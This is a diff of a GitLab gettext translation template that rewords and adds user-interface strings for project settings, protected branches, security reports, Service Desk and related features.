msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
